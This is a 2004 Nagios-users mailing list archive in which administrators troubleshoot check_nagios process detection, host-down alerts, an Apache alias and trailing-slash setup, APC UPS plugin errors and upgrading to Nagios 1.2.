want to know how can I erase this notification mails to prevent the : sending of the old mails by nagios.. I believe, that standard Nagios installation uses local MTA for sending mail. So location of mail queue depends on your MTA. V?ro? Kaplan PS: Break lines at 72nd column please. -- V?ro? Kaplan system disaster Tacoma Computers, Sta?kova 18a, Brno, CZ -- "Experience is the worst teacher. It always gives the test first and the instructions afterward." ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Tue Mar 2 22:03:19 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Tue, 2 Mar 2004 16:03:19 -0500 Subject: Error Message: Warning: Nagios process may not be running Message-ID: <5593DA408212D511B0910002A513501F06559220@phsexch20.mgh.harvard.edu> Hi Marc -- I ran the check_nagios command as the nobody user and even though Nagios was up and running, it still complained it could not find a running process. I ran the ps -ef |grep nagios command, and I have a decent amount of processes that have the [nagios] program. -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 3:33 PM To: Kaplan, Andrew H.; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Error Message: Warning: Nagios process may not be running On Tuesday, March 02, 2004 2:21 PM, Kaplan, Andrew H. shared with us: > I installed Nagios 1.2 onto a system and am in the process of testing > it out. > One problem that I noticed is my being unable to manually run > commands, > ie: Schedule an immediate check of all services on this host, on any > host machine. I checked the cgi.cfg file and made sure the > nagios_check_command directive was not commented out. I also checked > the nagios.cfg file and the external_command lines were also > uncommented. The check_nagios plug-in is in the libexec directory and > it does have the proper permissions associated with it. What else is > there for me to do? Try running the nagios_check command as the user your web server runs as. You can also go to http://your.nagios.machine/cgi-bin/extinfo.cgi?&type=0 (or click 'Process Info' on the left menu) to get a hint about what might be wrong. One thing to be aware of is that if you've installed Nagios such that it uses a DB for host/service status storage the default check_nagios command will not work. You'll need to use check_nagios_db.pl from the plugins contrib. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From veros-nagios at tac.cz Tue Mar 2 22:05:28 2004 From: veros-nagios at tac.cz (Veros Kaplan) Date: Tue, 2 Mar 2004 22:05:28 +0100 Subject: Error Message: Warning: Nagios process may not be running In-Reply-To: <5593DA408212D511B0910002A513501F0655921F@phsexch20.mgh.harvard.edu> References: <5593DA408212D511B0910002A513501F0655921F@phsexch20.mgh.harvard.edu> Message-ID: <20040302210528.GH1230@tac.cz> Kaplan, Andrew H. wrote/napsal: : I installed Nagios 1.2 onto a system and am in the process of testing it out. : One problem that I noticed is my being unable to manually run commands, : ie: Schedule an immediate check of all services on this host, on any host : machine. I checked the cgi.cfg file and made sure the nagios_check_command : directive was not commented out. I also checked the nagios.cfg file and the : external_command lines were also uncommented. The check_nagios plug-in : is in the libexec directory and it does have the proper permissions : associated with it. What else is there for me to do? If CGI scripts sway "Nagios process may not be running", it means that $nagios_check_command return ERROR. Can you test it manually and and then test it under permissions of your www user? What type of Nagios store are you using? Text or SQL? There are sometimes problems with check_command for SQL stores. Have a nice day V?ro? Kaplan -- V?ro? Kaplan system disaster Tacoma Computers, Sta?kova 18a, Brno, CZ -- "Farmers in the Iowa State survey rated machinery breakdowns more stressful than divorce." -- Wall Street Journal ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 22:22:56 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 16:22:56 -0500 Subject: Host DOWN Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F29F@exchange.drumbeatdigital.com> Any suggestions Or explanations of why? -----Original Message----- From: Dmitry Chorine Sent: Tuesday, March 02, 2004 2:02 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Host DOWN I get host down of local server where I run nagios from :) So its very weird.. ***** Nagios ***** Notification Type: PROBLEM Host: tama State: DOWN Address: 192.168.3.33 Info: (No output!) Date/Time: Tue Mar 2 13:46:17 EST 2004 ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 22:29:16 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 15:29:16 -0600 Subject: Error Message: Warning: Nagios process may not be running Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2DE@mismail2.ena.com> On Tuesday, March 02, 2004 3:03 PM, Kaplan, Andrew H. shared with us: > Hi Marc -- > > I ran the check_nagios command as the nobody user and even though > Nagios was up and running, it still complained it could not find a > running process. I ran the ps -ef |grep nagios command, and I have a > decent amount of processes that have the [nagios] program. You may need to modify the command. i.e. nagios_check_command=/usr/local/nagios/libexec/check_nagios /usr/local/nagios/var/status.log 5 'nagios' The last bit is the string that the command is looking for in the ps output to determine if there is an actual nagios process running. It may vary depending on your version of ps. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Tue Mar 2 22:40:24 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Tue, 2 Mar 2004 16:40:24 -0500 Subject: Updating Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I see the latest version, 1.2, has been released. What is the process for upgrading versions without losing configs, plugins, etc.? - ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (MingW32) - GPGshell v3.02 iD8DBQFARP8++aWciKjTo3wRAmItAJwOG7pbFzWSBQrExAZ9Qhwho1k4TwCgjVBb KWRxE4SJ+o5LEdiJIPGb+Kw= =SuKj -----END PGP SIGNATURE----- -------------- next part -------------- An HTML attachment was scrubbed... URL: From AHKAPLAN at PARTNERS.ORG Tue Mar 2 22:43:51 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Tue, 2 Mar 2004 16:43:51 -0500 Subject: Error Message: Warning: Nagios process may not be running Message-ID: <5593DA408212D511B0910002A513501F06559222@phsexch20.mgh.harvard.edu> Followup: I am using the text-based configuration. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Kaplan, Andrew H. Sent: Tuesday, March 02, 2004 4:03 PM To: 'Marc Powell' Cc: '' Subject: RE: [Nagios-users] Error Message: Warning: Nagios process may not be running Hi Marc -- I ran the check_nagios command as the nobody user and even though Nagios was up and running, it still complained it could not find a running process. I ran the ps -ef |grep nagios command, and I have a decent amount of processes that have the [nagios] program. -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 3:33 PM To: Kaplan, Andrew H.; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Error Message: Warning: Nagios process may not be running On Tuesday, March 02, 2004 2:21 PM, Kaplan, Andrew H. shared with us: > I installed Nagios 1.2 onto a system and am in the process of testing > it out. > One problem that I noticed is my being unable to manually run > commands, > ie: Schedule an immediate check of all services on this host, on any > host machine. I checked the cgi.cfg file and made sure the > nagios_check_command directive was not commented out. I also checked > the nagios.cfg file and the external_command lines were also > uncommented. The check_nagios plug-in is in the libexec directory and > it does have the proper permissions associated with it. What else is > there for me to do? Try running the nagios_check command as the user your web server runs as. You can also go to http://your.nagios.machine/cgi-bin/extinfo.cgi?&type=0 (or click 'Process Info' on the left menu) to get a hint about what might be wrong. One thing to be aware of is that if you've installed Nagios such that it uses a DB for host/service status storage the default check_nagios command will not work. You'll need to use check_nagios_db.pl from the plugins contrib. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pedmonds.nagios at boursedata.com.au Tue Mar 2 23:03:22 2004 From: pedmonds.nagios at boursedata.com.au (Peter Edmonds) Date: Wed, 3 Mar 2004 09:03:22 +1100 Subject: Window event viewer In-Reply-To: References: Message-ID: <00b501c400a2$2df501f0$eb07a8c0@pedellwin2k> Hi Rudy, Assuming that the events you want to monitor are logged in the Event Log(for your Windows boxes), you could centralise yor Windows event logs using Eventlog to Syslog Utility from https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys/ and the logsurfer plugin from http://naplax.sourceforge.net/check_logsurfer.html in conjunction with logsurfer from http://www.cert.dfn.de/eng/logsurf/ These 3 utils are easy to setup and make the task of monitoring Windows Event Logs much simpler. The check_logsurfer plugin allows you to specify regular expressions to check for, so you can tune the plugin to respond to a particlar event log message. Pushing your logs out to a central Linux box is a better solution - you can analyse the logs more easily using perl or whatever. Peter Edmonds -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Darren Harrison Sent: Wednesday, March 03, 2004 7:48 AM To: Rudy Montemayor Cc: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Re: Window event viewer Hi Rudy, The agent seems to keep track of when it last reported the error, so it should only respond to errors that are new since the agent was last called. Unfortunately this gets reset when the computer is restarted. The one thing you are probably looking for is that the service needs to be set to be volatile. Then the error gets reset on the next call. I'm sorry I can't help you with your last issue, I haven't had this happen a lot. Darren. "Rudy Montemayor" wrote on 03/03/2004 09:04:39 a.m.: > Darren, > > Thanks for the information. I was able to install the agent on 2 Win > systems; however I have some questions and welcome anybody that can > help me out. > > > 1) What do this agent do exactly? From what I can tell of the > operation, it seems that It looks at the whole log and lets you know > how many errors there are and when the last one occurred. Then it > may be "EventLog OK" and then back to reporting the errors again. It > doesn't keep track of what errors it already reported on; it's > basically all or nothing. > > 2) I asked the Windows folks here about the logs and they mentioned > that they just let the log roll-over. So that means that once there > is an error the agent will continue to flag that error until that > particular entry is rolled-over or one manually clears the log; > which is the behavior that I'm seeing now. > > 3) There also appears to be some problem with "(Service Check Timed > Out)" and I do not know why this is happening. > > Any help with be appreciated. > > Rudy ---------------------------------------------------------------------------- -- This e-mail is confidential and may contain information subject to legal privilege. If you are not the intended recipient please advise us of our error by return e-mail then delete this e-mail and any attached files. You may not copy, disclose or use the contents in any way. The views expressed in this e-mail may not be those of Gallagher Group Ltd or subsidiary companies thereof. ---------------------------------------------------------------------------- -- -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruce.gilbert at tmgus.mosaic.com Tue Mar 2 23:28:55 2004 From: bruce.gilbert at tmgus.mosaic.com (Gilbert, Bruce) Date: Tue, 2 Mar 2004 16:28:55 -0600 Subject: Problems with check_apc_ups.pl Message-ID: <8F60DB2764F7EC498CADADCFBA819DA003F45268@dalexchange.tmgsolutionsinc.com> Bruce, First, thanks for the help. When running your version I get the following error - ./check_apc_ups.pl -H 172.23.0.27 Can't locate utils.pm in @INC (@INC contains: /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0 /usr/lib/perl5/site_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.0 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.0/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.0 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.0/i386-linux-thread-multi /usr/lib/perl5/5.8.0) at ./check_apc_ups.pl line 20 I had that same problem with the included script that came with the plugins. Changing the plugin version or yours with the following allows the script to run, but both give - Status: unknown, Batt Cap(%): unknown, Batt Time: unknown, Batt status: unknown, Batt temp(F): unknown, Batt repl: unknown, Output load (%): unknown, Diag result: unknown, I-Freq: unknown, I-V,Max,Min: unknown, unknown, unknown, O-Freq: unknown, O-V: unknown, # use lib utils.pm; #require '/usr/lib/nagios/plugins/utils.pm'; use lib "/usr/local/nagios/libexec/"; use utils qw(%ERRORS &print_revision &support &usage); If you have any other suggestions, I would appreciate it. I am running net-snmp-5.0.9. Would upgrading perhaps alleviate the problem? -----Original Message----- From: Friedman, Bruce L. [mailto:Bruce.L.Friedman at snapon.com] Sent: Tuesday, March 02, 2004 1:03 PM To: 'Gilbert, Bruce' Subject: RE: [Nagios-users] Problems with check_apc_ups.pl Bruce, I have made numerous changes to check_apc_ups.pl to get it to work. Please try out the attached file and let me know if it works for you. I am using net-snmp-5.1-2.1 regards, Bruce Friedman Snap-on, Inc. eTechnician System Administrator bruce.l.friedman at snapon.com (847) 478-7262 (voice) -----Original Message----- From: Gilbert, Bruce [mailto:bruce.gilbert at tmgus.mosaic.com] Sent: Tuesday, March 02, 2004 11:49 AM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Problems with check_apc_ups.pl When running the check_apc_ups.pl plugin it returns the following messages - ./check_apc_ups.pl -H 172.23.0.27 Output status: unknown | Rem time: unknown | Battery status: unknown | Battery temp(C): unknown | Battery repl: unknown | Output load (%): unknown | Diag result: unknown If I run ./check_snmp with the OID for battery temp or output status it returns OK. I've downloaded the APC MIBS, copied them to the appropriate folder, and even tried export MIBS=All. Is there anything else I am missing or any suggestions? Thanks, Bruce Gilbert Senior Network Manager Mosaic Sales Solutions ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wcorcor at siue.edu Tue Mar 2 23:30:06 2004 From: wcorcor at siue.edu (Bill Corcoran) Date: Tue, 02 Mar 2004 16:30:06 -0600 Subject: Updating In-Reply-To: References: Message-ID: <40450AEE.6030704@siue.edu> i have successfully upgraded from 1.1 to 1.2 merely by "make install", overwriting the nagios program. the config and plugins, not part of a make install, were untouched. of course, you'd be a fool not to backup before trying this yourself. all config & plugins worked fine after the upgrade. i was a little upset that 1.2 was released not 24 hrs after i had installed 1.1 =) but the upgrade was easy. -bill Jack Doyle wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I see the latest version, 1.2, has been released. > > What is the process for upgrading versions without losing > configs, plugins, etc.? > > - ----- > John N. Doyle, Network+ Certified Professional > Systems Operations Specialist > Lewis-Gale Clinic Information Systems > > 540.772.3669 > >>PGP Key Available: http://68.106.83.67:8082/pgp.txt > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (MingW32) - GPGshell v3.02 > > iD8DBQFARP8++aWciKjTo3wRAmItAJwOG7pbFzWSBQrExAZ9Qhwho1k4TwCgjVBb > KWRxE4SJ+o5LEdiJIPGb+Kw= > =SuKj > -----END PGP SIGNATURE----- > > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Tue Mar 2 23:35:24 2004 From: agrajag at dragaera.net (Jag) Date: Tue, 02 Mar 2004 17:35:24 -0500 Subject: Host DOWN In-Reply-To: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> Message-ID: <1078266923.4354.10.camel@pel> On Tue, 2004-03-02 at 14:02, Dmitry Chorine wrote: > I get host down of local server where I run nagios from :) > > So its very weird.. > > ***** Nagios ***** > > Notification Type: PROBLEM > Host: tama > State: DOWN > Address: 192.168.3.33 > Info: (No output!) > > Date/Time: Tue Mar 2 13:46:17 EST 2004 I've found that when it says 'Info: (No output!)', the plugin is usually outputing something to stderr, and nagios isn't paying attention to that. Does anyone know why nagios ignores stderr? stderr is a very useful debugging tool. I suggest trying to run your check-host-command plugin from the command line and seeing what it says. That may tell you why its returning an error state. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Wed Mar 3 01:03:27 2004 From: jyao at aav.com.au (Yao, Jack) Date: Wed, 3 Mar 2004 11:03:27 +1100 Subject: traliing slash in URL path configuration Message-ID: Thanks so much Gary. It is the answer to the whole traliaing slash thing. UseCanonical directive has to be set to "off" in order to have the Alias directive to work as it is configured, otherwise Apache will keep sending the unknown URL to http://_default_/[directory] Also thanks to everyone that have been very helpful to me as well. Jack -----Original Message----- From: Cook, Garry [mailto:GWCOOK at mactec.com] Sent: Wednesday, 3 March 2004 2:14 AM To: Yao, Jack Subject: RE: [Nagios-users] traliing slash in URL path configuration Check the apache config file, 'httpd.conf', for a section on 'canonical name'. I think this might be what you are looking for. nagios-users-admin at lists.sourceforge.net wrote: > Hi Karl [and all others Nagios list Members], > > Ah.. It is just not about how much workload server will have only, I > am afraid. I am also curious that in nagios document, it states > very clear > that by changing the URL html path from "/nagios/" to be "/nagios" in > cgi.cfg and make the Alias in httpd.conf to be without > trailing slah as > well. The browser should then accept the user to type > http://mydomain.com/nagios and redirect to > http://mydomain.com/nagios/ > > But what happen to me now is that, after I have done all the changed > as described in the document, the browser still don't accept user to > type http://mydomain.com/nagios . Whenever user types > http://mydomain.com/nagios > , it will reditect to http://_default_/nagios and display "page > cannot be display error, server not found.." > > And browser still only accept user to type > http://mydomain.com/nagios/ as > if the changes in cgi.cfg and in httpd.conf did not have any effect at > all. > > > I guess the 2 majot questions here are: > > 1. Do I miss any other part of configuration that might state > somewhere else in the document but I did not see it ? > > 2. Or Does the document not cover everything as it should be ? > > And I don't think it is Apache issue as the url > http://mydomain.com/nagios/ still works fine, so the Apache is > definitely working, as well as Nagios. > > And I notice that you use the path in the Alias set up as Alias > /nagios /usr/share/nagios/ , while the one I am using now is Alias > /nagios /usr/local/nagios/share , is that a typo or it is actually > different path > ??? > > > Any helps are really appreciated > > Thanks > > Jack > > > > > > > -----Original Message----- > From: Karl DeBisschop [mailto:karl at debisschop.net] > Sent: Tuesday, 2 March 2004 1:46 PM > To: Yao, Jack > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] traliing slash in URL path configuration > > > On Tue, 2 Mar 2004 12:00:41 +1100 > "Yao, Jack" wrote: > >> Hi all , >> >> sorry that I have to keep asking the same question again. Basically , >> on Redhat 8.0 and Apache, I 've been trying to change the default URL >> from http://mydomain.com/nagios/ > to be >> http://mydomain.com/nagios . > And here >> are the changed I've done so far , which still don't work by the way. > > I use the RPM which (on FC1) puts nagios.conf in /etc/httpd/conf.d so > it is automatically included in the httpd.conf file. > > I changed > > Alias /nagios/ /usr/share/nagios/ > > to > > Alias /nagios /usr/share/nagios/ > > and restarted the server. Then I entered the URL > > http://localhost/nagios > > It automatically redirected to > > http://localhost/nagios/ > > as expected. > >> So basically it don't matter what I do to the file cgi.cfg and >> httpd.conf[and of course reload/restart the related services after >> the changes], the only URL that work is still the same one, so Is >> there anything else I am missing here ??? > > If http://host/nagios won't work, there's something else interfering > with you httpd config. Take it up with your local apache guru who > probably knows > your configs better than I do. > > If you are expecting http://host/nagios to become the default URL, I > don't think you are ever going to get that. I believe that you only > get to completely drop the trailing slash when referring to a file, > not a directory. That is the reason that supporters of the > bandwidth conservation > movement advocate leaving the trailing slash in the configs > - since the URL will redirect to include the trailing slash, > you have force > a redirect eating up bandwidth and response time. If you > leave the slash in > the configs, you force your documentation writers to use it > and your users > get faster responses while your server does less work. Of > course, how you > config your server is entirely up to you. But I'm pretty sure > that without a > rewrite rule, your default URL will retain the trailing > slash, even when you > accept input without the trailing slash. > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 3 02:24:12 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 03 Mar 2004 01:24:12 +0000 Subject: Host DOWN In-Reply-To: <1078266923.4354.10.camel@pel> References: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> <1078266923.4354.10.camel@pel> Message-ID: <20040303012413.2645.qmail@minnow.softflare.net> Jag writes: > I've found that when it says 'Info: (No output!)', the plugin is usually > outputing something to stderr, and nagios isn't paying attention to > that. Does anyone know why nagios ignores stderr? stderr is a very > useful debugging tool. I'm in no position to influence these things, but I'd agree with you there. There was a thread here recently of problems with output on STDERR confusing the check_by_ssl plugin (I think it was that one - it's late here and I have the memory of a goldfish, not only that I have the memory of a goldfish). However, it's not Nagios that ignores STDERR but the particular plugin you're using. I would say, from my position of the guy that doesn't have to do anything about it, that the plugin guidelines should say that plugins should collect output to STDERR and if there is anything they should return the unknown state unless that particular test should generate known output (that can be checked) on STDERR. Basically, if you have output on STDERR then it's "Houston, we have a problem" unless you were expecting that particular output on STDERR as a result of your tests. -- Paul Allen Softflare Support ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Wed Mar 3 02:37:23 2004 From: jyao at aav.com.au (Yao, Jack) Date: Wed, 3 Mar 2004 12:37:23 +1100 Subject: notification once only Message-ID: Hi all , I have been trying to look at the option available in check_ping and check_host_alive command that will enable me to do this. Basically all I want is that Nagios to notify me "once" only when the machine is down and will "only" send me another notification email when the machine is back alive. As I don't want it to keep repeating the notification again and again during the down period. Is there any parameters in the config files [either hosts.cfg or services.cfg] that will let me do that ? Thanks Jack -------------- next part -------------- An HTML attachment was scrubbed... URL: From jyao at aav.com.au Wed Mar 3 03:21:51 2004 From: jyao at aav.com.au (Yao, Jack) Date: Wed, 3 Mar 2004 13:21:51 +1100 Subject: URL path config Message-ID: Yeah, Thanks Gary. It has all been worked out by your advised about UseCanonicalName directive previously. Basically not only I have to put in the Alias, I also have to turn off the UseCanonicalName directive so that Apache will accept that Alias too ta Jack -----Original Message----- From: Cook, Garry [mailto:GWCOOK at mactec.com] Sent: Tuesday, 2 March 2004 1:42 AM To: Yao, Jack; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] URL path config If you include a trailing slash on the fakename in your alias, it's going to be required by the server when you attempt to access it. Remove the second line, restart httpd, and try again. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Yao, Jack Sent: Sunday, February 29, 2004 2:12 PM To: Nagios mail user list (nagios-users at lists.sourceforge.net) Subject: [Nagios-users] URL path config Hi all, By default Nagios installed with the URL path "/nagios/" in the config.cfg. After installed, I tried to eidt the pathit to be "/nagios" and edit httpd.conf during this part below to add "Alias /nagios /usr/local/nagios/share/" on top of the original one, so now it looks like this: Alias /nagios /usr/local/nagios/share/ Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all Then I restarted both Nagios service and httpd service, the browser still complains that "page cannot be displayed" and it could not find the new path [http://mydomain.com/nagios]. However , the old path [http://mydomain.com/nagios/] still working as if there was no change made to the config file. Is there anything else I miss here in order to change the URL path ? thanks Jack -------------- next part -------------- An HTML attachment was scrubbed... URL: From prabhu.anandh at wipro.com Wed Mar 3 03:53:54 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Wed, 3 Mar 2004 08:23:54 +0530 Subject: how to ping instead of check_ping.v6 not found. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EE9E97@blr-sjp-msg.wipro.com> Hi Marc, I appreciate what you have said and when I checked the options using -h ,I found out that it doesn't support v6.any ideas. Do I have to install latest version of plugins? Thanks in advance. This is what I get: ]# /usr/local/nagios/libexec/check_ping -h check_ping (nagios-plugins 1.3.1) 1.11 The nagios plugins come with ABSOLUTELY NO WARRANTY. You may redistribute copies of the plugins under the terms of the GNU General Public License. For more information about these matters, see the file named COPYING. Copyright (c) 1999-2001 Ethan Galstad/Karl DeBisschop Use ping to check connection statistics for a remote host. Usage: check_ping -H -w ,%% -c ,%% [-p packets] [-t timeout] [-L] check_ping (-h | --help) for detailed help check_ping (-V | --version) for version information Options: -H, --hostname=HOST host to ping -w, --warning=THRESHOLD warning threshold pair -c, --critical=THRESHOLD critical threshold pair -p, --packets=INTEGER number of ICMP ECHO packets to send (Default: 5) -t, --timeout=INTEGER optional specified timeout in second (Default: 10) -L, --link show HTML in the plugin output (obsoleted by urlize) THRESHOLD is ,% where is the round trip average travel time (ms) which triggers a WARNING or CRITICAL state, and is the percentage of packet loss to trigger an alarm state. This plugin uses the ping command to probe the specified host for packet loss (percentage) and round trip average (milliseconds). It can produce HTML output linking to a traceroute CGI contributed by Ian Cass. The CGI can be found in the contrib area of the downloads section at http://www.nagios.org Send email to nagios-users at lists.sourceforge.net if you have questions regarding use of this software. To submit patches or suggest improvements, send email to nagiosplug-devel at lists.sourceforge.net regards, Prabhu Anandh S. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Marc Powell Sent: Tuesday, March 02, 2004 8:51 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS) Cc: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] how to ping instead of check_ping. On Tuesday, March 02, 2004 6:59 